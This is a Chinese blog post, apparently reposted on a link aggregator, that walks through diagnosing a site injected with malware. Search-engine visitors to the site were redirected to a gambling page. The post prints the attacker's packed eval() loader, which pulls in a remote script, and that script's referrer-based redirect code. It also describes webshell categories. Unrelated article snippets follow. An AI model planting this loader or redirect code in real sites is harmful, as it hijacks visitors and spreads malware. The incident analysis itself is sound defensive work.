记一次站点被挂马问题排查

标签: 挂马 篡改 安全 | 发表时间:2018-09-13 08:00 | 作者:
出处:http://localhost:4000/

起因,在下班准备回家之际,收到几条朋友发来的信息,说他的网站在百度搜索做信息流广告推广,但是从百度搜索点击打开就会跳转的博彩网站,让我帮忙排查下问题,是不是被挂马了,于是乎就开始了后面的故事


为了保护网站隐私,假定网站地址是:http://www.xxx.com

收到消息后我尝试操作并收集到下面现象内容:

现象1:通过域名直接打开网站,可以正常打开,不会跳转到博彩站
现象2:通过百度/搜狗搜索引擎,搜索到网站后点击打开就会跳转到博彩站


开始排查

  • 网站是怎么跳转的?

网站跳转无非就是这两种:服务端重定向跳转/前端JS触发跳转,我开始用Charles抓包,列出抓包请求发起顺序大概是这样的(省略无关的请求):

  1. http://www.xxx.com
  2. https://www.cpdas8.com/cxc.js
  3. https://www.das8cx.com/ [博彩站]

先打开站点www.xxx.com返回Code=200,不是服务端重定向Code=302,是由前端发起跳转,并且注意到:cxc.js,请求头Referer=www.xxx.com,这个并非站点前端开发需要引入的脚本,打开地址看代码如下:

   
(function () {
    /*百度推送代码*/
     var bp = document.createElement('script');
     bp.src = '//push.zhanzhang.baidu.com/push.js';
     var s = document.getElementsByTagName("script")[0];
     s.parentNode.insertBefore(bp, s);
     /*360推送代码*/
     var src = document.location.protocol + '//js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9';
     document.write('<script src="' + src + '" id="sozz"><\/script>');
     })();

document.writeln("<script LANGUAGE=\"Javascript\">");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
document.writeln("location.href=\"https://www.das8cx.com/\";");
document.writeln("</script>");

看代码就知道抓到了元凶,这里执行了location.href到博彩站,但是看主页html源码里并没有cxc.js的引入,继续后面的排查


  • cxc.js是如何在主页里引入的?

带着这个疑问,打开了首页源码,大概过了下,没有发现引入脚本的地方,就开始怀疑是不是动态引入的,再次查看源码,看到一段被混淆加密压缩过代码:

   eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('l["\\d\\e\\1\\m\\j\\8\\n\\0"]["\\6\\4\\9\\0\\8"](\'\\i\\2\\1\\4\\9\\3\\0 \\0\\k\\3\\8\\c\\7\\0\\8\\h\\0\\5\\f\\b\\q\\b\\2\\1\\4\\9\\3\\0\\7 \\2\\4\\1\\c\\7\\o\\0\\0\\3\\2\\p\\5\\5\\6\\6\\6\\a\\1\\3\\d\\b\\2\\r\\a\\1\\e\\j\\5\\1\\h\\1\\a\\f\\2\\7\\g\\i\\5\\2\\1\\4\\9\\3\\0\\g\');',28,28,'x74|x63|x73|x70|x72|x2f|x77|x22|x65|x69|x2e|x61|x3d|x64|x6f|x6a|x3e|x78|x3c|x6d|x79|window|x75|x6e|x68|x3a|x76|x38'.split('|'),0,{}))

感觉事蹊跷,不管三七二十一先到谷歌开发者工具控制台里执行看看,截取重要提示信息:

   A parser-blocking, cross site (i.e. different eTLD+1) script,https://www.cpdas8.com/cxc.js, is invoked via document.write

image

明了了,就是这段脚本把cxc.js动态的引入到站点里,现在跳转的原因是找到了,但是为啥会好端端的多了这段代码,继续后面的分析


  • 为什么主页源码会被篡改加入了一段脚本呢?

站点是通过阿里云服务器的虚拟空间进行部署的,服务器本身应该没有问题 目前猜测有两种可能性:

  1. FTP暴力破解,成功连接上FTP后进行篡改
  2. 站点安全漏洞,被上传了木马程序后被执行,篡改了源码

后面问了下FTP密码是设置的挺简单的,所以评估可能是FTP暴力破解导致,细思极恐


番外,里面还有段篡改SEO关键词代码,这里也需要去掉:
篡改了keyword/description/title image


问题总结:

通过抓包和代码分析可以知道跳转到博彩站的流程是这样的:

  1. 打开首页,脚本执行了evel(混淆加密压缩),动态引入cxc.js
  2. 引入的cxc.js里执行了(function (){/* 跳转逻辑 */})(),如果站点referrer是搜索引擎过来的就跳转到博彩站,不是就不做跳转直接正常打开站点
  3. 知道原理后就很清晰明白上面现象的原因,并且可以很清楚的怎么去修复

站点源码被侵入篡改问题:

  • 站点的开发需要注意WEB安全问题,文件上传漏洞,脚本注入,SQL注入,跨站攻击,等
  • 站点的服务器/FTP/后台账号密码,不要设置的太随意,要有一定的复杂度,不然很容易被暴力破解

常见木马类型:

  • 大马
    • 大马体积比较大 一般50K以上。功能也多,一般都包括提权命令,磁盘管理,数据库连接借口,执行命令甚至有些以具备自带提权功能和压缩,解压缩网站程序的功能。这种马隐蔽性不好,而大多代码如不加密的话很多杀毒厂商开始追杀此类程序
  • 小马
    • 小马体积小,容易隐藏,隐蔽性强,最重要在于与图片结合一起上传之后可以利用nginx或者IIS6的解析漏洞来运行,不过功能少,一般只有上传等功能
  • 一句话木马
    • 一句话木马属于 就一句话的脚本语句 代码少 就是一句话木马属于小马

查杀工具:


辅助手段-网站安全检测:

相关 [站点 问题] 推荐:

记一次站点被挂马问题排查

- - SFLYQ个人博客专注于后端技术及其周边的技术开发、学习及分享平台
起因,在下班准备回家之际,收到几条朋友发来的信息,说他的网站在百度搜索做信息流广告推广,但是从百度搜索点击打开就会跳转的博彩网站,让我帮忙排查下问题,是不是被挂马了,于是乎就开始了后面的故事. 为了保护网站隐私,假定网站地址是:http://www.xxx.com. 收到消息后我尝试操作并收集到下面现象内容:.

稿费问题

- Ruixing F - 创造社新任社长宋石男
据说现在全中国靠给平媒自由撰稿为生的,超不过1000人,而且不少处于相当窘迫的境况,就算想买根绳子来上吊,都买不起质量好的,结果绳子老断. 作为自由撰稿人的一员,我对此深有体会. 1999年国家版权局出台的基本稿酬标准,每千字30元-100元,至今仍为全国发行的报刊的“行业指导价”. 业内估计,全国报刊的稿费中位数大约也就在100元.

lvs 问题

- - 操作系统 - ITeye博客
1: LVS连接的持久时间. 1)同一个ip发来请求到同一台RS的持久超时时间. ipvsadm -A -t 192.168.169.100:80 -s rr -p 120     #该客户的请求120秒内被分配给同一台web.  2)一个链接创建后空闲时的超时时间(分别是:tcp的空闲超时时间、lvs收到客户端tcp fin的超时时间、udp的超时时间).

跨机房问题

- Shengbin - NOSQL Notes
跨机房问题一直都是一个老大难的问题,先看传统数据库的跨机房方案. Master/Slave方案. 这是最常用的方案,适用于大多数需求. Master将操作日志实时地发送到Slave,Slave当成Master的一个Hot Backup. Master宕机时,服务切换到Slave,需要修改客户端逻辑使得Master失效时自动寻找新的Master.

Hash Collision DoS 问题

- mazhechao - 酷壳 - CoolShell.cn
最近,除了国内明文密码的安全事件,还有一个事是比较大的,那就是 Hash Collision DoS (Hash碰撞的拒绝式服务攻击),有恶意的人会通过这个安全弱点会让你的服务器运行巨慢无比. 这个安全弱点利用了各语言的Hash算法的“非随机性”可以制造出N多的value不一样,但是key一样数据,然后让你的Hash表成为一张单向链表,而导致你的整个网站或是程序的运行性能以级数下降(可以很轻松的让你的CPU升到100%).

相关性问题

- - 扯氮集--上海魏武挥的博客 - 扯氮集--上海魏武挥的博客
人的本性是趋利避害的,任何合作(或者交易,或者搭伙,或者配对,反正就不是一个人干的事)都会存在三个可能:有利、有害、无利无害. 对于合作一方来说,至少应该保持一个无害的结果,这是常识. 如果觉得有害的可能性很大,于是,我们就会拒绝合作. 问题在于,谁也不是神仙,没有人可以事先100%断定合作必然会有利或至少无害,于是人们需要很多背景信息来供决策.

select 效率问题

- - C++博客_杨粼波
 很多人不知道SQL语句在SQL SERVER中是如何执行的,他们担心自己所写的SQL语句会被SQL SERVER误解. 一些人不知道以上两条语句的执行效率是否一样,因为如果简单的从语句先后上看,这两个语句的确是不一样,如果tID是一个聚合索引,那么后一句仅仅从表的10000条以后的记录中查找就行了;而前一句则要先从全表中查找看有几个name='zhangsan'的,而后再根据限制条件条件tID>10000来提出查询结果.

IE11兼容问题

- - 研发管理 - ITeye博客
IE11下载地址:http://www.microsoft.com/zh-cn/download/confirmation.aspx?id=40901. 安装IE10和IE11之前需要先保证操作系统是Service版本的. win7 sp1升级包下载地址:http://www.microsoft.com/zh-cn/download/details.aspx?id=5842.

Exception性能问题

- - 非技术 - ITeye博客
   1.从Exception往上介绍相关结构、代码.     class Exception里面没有什么新鲜东西,它继承自class Throwable,接下来我们看一下Throwable的结构,在它的构造函数中调用了fillInStackTrace这个函数. 接下来我们看看这个函数干了些什么.     fillInStackTrace函数的声明为.

paypal相关问题

- - 牛B博客 niub.us
paypal ,号称是全球最大的网络支付公司,在国外确实很强,不过在国内被支付宝干掉了. paypal在国内中文名叫贝宝,国内有了支付宝一般人基本上用不上这玩意,今天文章里和大家说说paypal国际版的问题. 因为今年3月份,全球最大的电子商务平台ebay(曾经,现在是淘宝了)搞了一个海淘节(专门针对中国买家),很多数码产品、手表、包包等都有非常实惠的价格.